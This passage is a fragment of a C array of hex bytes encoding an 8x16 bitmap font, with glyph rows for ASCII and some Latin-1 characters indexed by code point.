0x00,\n/*  15 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  16 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  17 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  18 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  19 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  20 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  21 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  22 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  23 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  24 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  25 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  26 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  27 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  28 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  29 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  30 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  31 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  32 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  33 */ 0x00, 0x00, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/*  34 */ 0x00, 0x00, 0x6c, 0x6c, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  35 */ 0x00, 0x00, 0x00, 0x36, 0x36, 0x7f, 0x36, 0x36, 0x7f, 0x36, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  36 */ 0x00, 0x08, 0x08, 0x3e, 0x6b, 0x0b, 0x0b, 0x3e, 0x68, 0x68, 0x6b, 0x3e, 0x08, 0x08, 0x00, 0x00,\n/*  37 */ 0x00, 0x00, 0x00, 0x33, 0x13, 0x18, 0x08, 0x0c, 0x04, 0x06, 0x32, 0x33, 0x00, 0x00, 0x00, 0x00,\n/*  38 */ 0x00, 0x00, 0x1c, 0x36, 0x36, 0x1c, 0x6c, 0x3e, 0x33, 0x33, 0x7b, 0xce, 0x00, 0x00, 0x00, 0x00,\n/*  39 */ 0x00, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  40 */ 0x00, 0x00, 0x30, 0x18, 0x18, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x18, 0x18, 0x30, 0x00, 0x00, 0x00,\n/*  41 */ 0x00, 0x00, 0x0c, 0x18, 0x18, 0x30, 0x30, 0x30, 0x30, 0x30, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x00,\n/*  42 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x1c, 0x7f, 0x1c, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  43 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7e, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  44 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x00,\n/*  45 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  46 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/*  47 */ 0x00, 0x00, 0x60, 0x20, 0x30, 0x10, 0x18, 0x08, 0x0c, 0x04, 0x06, 0x02, 0x03, 0x00, 0x00, 0x00,\n/*  48 */ 0x00, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x6b, 0x6b, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/*  49 */ 0x00, 0x00, 0x18, 0x1e, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/*  50 */ 0x00, 0x00, 0x3e, 0x63, 0x60, 0x60, 0x30, 0x18, 0x0c, 0x06, 0x03, 0x7f, 0x00, 0x00, 0x00, 0x00,\n/*  51 */ 0x00, 0x00, 0x3e, 0x63, 0x60, 0x60, 0x3c, 0x60, 0x60, 0x60, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/*  52 */ 0x00, 0x00, 0x30, 0x38, 0x3c, 0x36, 0x33, 0x7f, 0x30, 0x30, 0x30, 0x30, 0x00, 0x00, 0x00, 0x00,\n/*  53 */ 0x00, 0x00, 0x7f, 0x03, 0x03, 0x3f, 0x60, 0x60, 0x60, 0x60, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/*  54 */ 0x00, 0x00, 0x3c, 0x06, 0x03, 0x03, 0x3f, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/*  55 */ 0x00, 0x00, 0x7f, 0x60, 0x30, 0x30, 0x18, 0x18, 0x18, 0x0c, 0x0c, 0x0c, 0x00, 0x00, 0x00, 0x00,\n/*  56 */ 0x00, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/*  57 */ 0x00, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x7e, 0x60, 0x60, 0x60, 0x30, 0x1e, 0x00, 0x00, 0x00, 0x00,\n/*  58 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/*  59 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x00,\n/*  60 */ 0x00, 0x00, 0x60, 0x30, 0x18, 0x0c, 0x06, 0x06, 0x0c, 0x18, 0x30, 0x60, 0x00, 0x00, 0x00, 0x00,\n/*  61 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  62 */ 0x00, 0x00, 0x06, 0x0c, 0x18, 0x30, 0x60, 0x60, 0x30, 0x18, 0x0c, 0x06, 0x00, 0x00, 0x00, 0x00,\n/*  63 */ 0x00, 0x00, 0x3e, 0x63, 0x60, 0x30, 0x30, 0x18, 0x18, 0x00, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/*  64 */ 0x00, 0x00, 0x3c, 0x66, 0x73, 0x7b, 0x6b, 0x6b, 0x7b, 0x33, 0x06, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/*  65 */ 0x00, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x7f, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/*  66 */ 0x00, 0x00, 0x3f, 0x63, 0x63, 0x63, 0x3f, 0x63, 0x63, 0x63, 0x63, 0x3f, 0x00, 0x00, 0x00, 0x00,\n/*  67 */ 0x00, 0x00, 0x3c, 0x66, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/*  68 */ 0x00, 0x00, 0x1f, 0x33, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x33, 0x1f, 0x00, 0x00, 0x00, 0x00,\n/*  69 */ 0x00, 0x00, 0x7f, 0x03, 0x03, 0x03, 0x3f, 0x03, 0x03, 0x03, 0x03, 0x7f, 0x00, 0x00, 0x00, 0x00,\n/*  70 */ 0x00, 0x00, 0x7f, 0x03, 0x03, 0x03, 0x3f, 0x03, 0x03, 0x03, 0x03, 0x03, 0x00, 0x00, 0x00, 0x00,\n/*  71 */ 0x00, 0x00, 0x3c, 0x66, 0x03, 0x03, 0x03, 0x73, 0x63, 0x63, 0x66, 0x7c, 0x00, 0x00, 0x00, 0x00,\n/*  72 */ 0x00, 0x00, 0x63, 0x63, 0x63, 0x63, 0x7f, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/*  73 */ 0x00, 0x00, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/*  74 */ 0x00, 0x00, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x33, 0x1e, 0x00, 0x00, 0x00, 0x00,\n/*  75 */ 0x00, 0x00, 0x63, 0x33, 0x1b, 0x0f, 0x07, 0x07, 0x0f, 0x1b, 0x33, 0x63, 0x00, 0x00, 0x00, 0x00,\n/*  76 */ 0x00, 0x00, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x7f, 0x00, 0x00, 0x00, 0x00,\n/*  77 */ 0x00, 0x00, 0x63, 0x63, 0x77, 0x7f, 0x7f, 0x6b, 0x6b, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/*  78 */ 0x00, 0x00, 0x63, 0x63, 0x67, 0x6f, 0x6f, 0x7b, 0x7b, 0x73, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/*  79 */ 0x00, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/*  80 */ 0x00, 0x00, 0x3f, 0x63, 0x63, 0x63, 0x63, 0x3f, 0x03, 0x03, 0x03, 0x03, 0x00, 0x00, 0x00, 0x00,\n/*  81 */ 0x00, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x6f, 0x7b, 0x3e, 0x30, 0x60, 0x00, 0x00,\n/*  82 */ 0x00, 0x00, 0x3f, 0x63, 0x63, 0x63, 0x63, 0x3f, 0x1b, 0x33, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/*  83 */ 0x00, 0x00, 0x3e, 0x63, 0x03, 0x03, 0x0e, 0x38, 0x60, 0x60, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/*  84 */ 0x00, 0x00, 0x7e, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/*  85 */ 0x00, 0x00, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/*  86 */ 0x00, 0x00, 0x63, 0x63, 0x63, 0x63, 0x63, 0x36, 0x36, 0x1c, 0x1c, 0x08, 0x00, 0x00, 0x00, 0x00,\n/*  87 */ 0x00, 0x00, 0x63, 0x63, 0x6b, 0x6b, 0x6b, 0x6b, 0x7f, 0x36, 0x36, 0x36, 0x00, 0x00, 0x00, 0x00,\n/*  88 */ 0x00, 0x00, 0x63, 0x63, 0x36, 0x36, 0x1c, 0x1c, 0x36, 0x36, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/*  89 */ 0x00, 0x00, 0xc3, 0xc3, 0x66, 0x66, 0x3c, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/*  90 */ 0x00, 0x00, 0x7f, 0x30, 0x30, 0x18, 0x18, 0x0c, 0x0c, 0x06, 0x06, 0x7f, 0x00, 0x00, 0x00, 0x00,\n/*  91 */ 0x00, 0x00, 0x3c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/*  92 */ 0x00, 0x00, 0x03, 0x02, 0x06, 0x04, 0x0c, 0x08, 0x18, 0x10, 0x30, 0x20, 0x60, 0x00, 0x00, 0x00,\n/*  93 */ 0x00, 0x00, 0x3c, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/*  94 */ 0x00, 0x08, 0x1c, 0x36, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  95 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00,\n/*  96 */ 0x00, 0x00, 0x0c, 0x0c, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  97 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x60, 0x7e, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/*  98 */ 0x00, 0x00, 0x03, 0x03, 0x03, 0x3b, 0x67, 0x63, 0x63, 0x63, 0x67, 0x3b, 0x00, 0x00, 0x00, 0x00,\n/*  99 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x63, 0x03, 0x03, 0x03, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 100 */ 0x00, 0x00, 0x60, 0x60, 0x60, 0x6e, 0x73, 0x63, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 101 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x63, 0x63, 0x7f, 0x03, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 102 */ 0x00, 0x00, 0x3c, 0x66, 0x06, 0x1f, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x00,\n/* 103 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x73, 0x63, 0x63, 0x63, 0x73, 0x6e, 0x60, 0x63, 0x3e, 0x00,\n/* 104 */ 0x00, 0x00, 0x03, 0x03, 0x03, 0x3b, 0x67, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 105 */ 0x00, 0x00, 0x0c, 0x0c, 0x00, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x38, 0x00, 0x00, 0x00, 0x00,\n/* 106 */ 0x00, 0x00, 0x30, 0x30, 0x00, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x33, 0x1e, 0x00,\n/* 107 */ 0x00, 0x00, 0x03, 0x03, 0x03, 0x63, 0x33, 0x1b, 0x0f, 0x1f, 0x33, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 108 */ 0x00, 0x00, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x38, 0x00, 0x00, 0x00, 0x00,\n/* 109 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x6b, 0x6b, 0x6b, 0x6b, 0x6b, 0x6b, 0x00, 0x00, 0x00, 0x00,\n/* 110 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x3b, 0x67, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 111 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 112 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x3b, 0x67, 0x63, 0x63, 0x63, 0x67, 0x3b, 0x03, 0x03, 0x03, 0x00,\n/* 113 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x73, 0x63, 0x63, 0x63, 0x73, 0x6e, 0x60, 0xe0, 0x60, 0x00,\n/* 114 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x3b, 0x67, 0x03, 0x03, 0x03, 0x03, 0x03, 0x00, 0x00, 0x00, 0x00,\n/* 115 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x63, 0x0e, 0x38, 0x60, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 116 */ 0x00, 0x00, 0x00, 0x0c, 0x0c, 0x3e, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x38, 0x00, 0x00, 0x00, 0x00,\n/* 117 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x63, 0x63, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 118 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x63, 0x36, 0x36, 0x1c, 0x1c, 0x08, 0x00, 0x00, 0x00, 0x00,\n/* 119 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x6b, 0x6b, 0x6b, 0x3e, 0x36, 0x36, 0x00, 0x00, 0x00, 0x00,\n/* 120 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x36, 0x1c, 0x1c, 0x1c, 0x36, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 121 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x63, 0x36, 0x36, 0x1c, 0x1c, 0x0c, 0x0c, 0x06, 0x03, 0x00,\n/* 122 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x60, 0x30, 0x18, 0x0c, 0x06, 0x7f, 0x00, 0x00, 0x00, 0x00,\n/* 123 */ 0x00, 0x00, 0x70, 0x18, 0x18, 0x18, 0x18, 0x0e, 0x18, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00,\n/* 124 */ 0x00, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x00,\n/* 125 */ 0x00, 0x00, 0x0e, 0x18, 0x18, 0x18, 0x18, 0x70, 0x18, 0x18, 0x18, 0x18, 0x0e, 0x00, 0x00, 0x00,\n/* 126 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x3b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 127 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 128 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 129 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 130 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 131 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 132 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 133 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 134 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 135 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 136 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 137 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 138 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 139 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 140 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 141 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 142 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 143 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 144 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 145 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 146 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 147 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 148 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 149 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 150 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 151 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 152 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 153 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 154 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 155 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 156 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 157 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 158 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 159 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 160 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 161 */ 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00,\n/* 162 */ 0x00, 0x00, 0x00, 0x08, 0x08, 0x3e, 0x6b, 0x0b, 0x0b, 0x0b, 0x6b, 0x3e, 0x08, 0x08, 0x00, 0x00,\n/* 163 */ 0x00, 0x00, 0x1c, 0x36, 0x06, 0x06, 0x1f, 0x06, 0x06, 0x07, 0x6f, 0x3b, 0x00, 0x00, 0x00, 0x00,\n/* 164 */ 0x00, 0x00, 0x00, 0x00, 0x66, 0x3c, 0x66, 0x66, 0x66, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 165 */ 0x00, 0x00, 0xc3, 0xc3, 0x66, 0x66, 0x3c, 0x7e, 0x18, 0x7e, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/* 166 */ 0x00, 0x00, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/* 167 */ 0x00, 0x3c, 0x66, 0x0c, 0x1e, 0x33, 0x63, 0x66, 0x3c, 0x18, 0x33, 0x1e, 0x00, 0x00, 0x00, 0x00,\n/* 168 */ 0x00, 0x00, 0x36, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 169 */ 0x00, 0x00, 0x3c, 0x42, 0x99, 0xa5, 0x85, 0xa5, 0x99, 0x42, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 170 */ 0x00, 0x1e, 0x30, 0x3e, 0x33, 0x3b, 0x36, 0x00, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 171 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x6c, 0x36, 0x1b, 0x1b, 0x36, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 172 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x60, 0x60, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 173 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 174 */ 0x00, 0x00, 0x3c, 0x42, 0x9d, 0xa5, 0x9d, 0xa5, 0xa5, 0x42, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 175 */ 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 176 */ 0x00, 0x00, 0x1c, 0x36, 0x36, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 177 */ 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7e, 0x18, 0x18, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 178 */ 0x00, 0x1e, 0x33, 0x18, 0x0c, 0x06, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 179 */ 0x00, 0x1e, 0x33, 0x18, 0x30, 0x33, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 180 */ 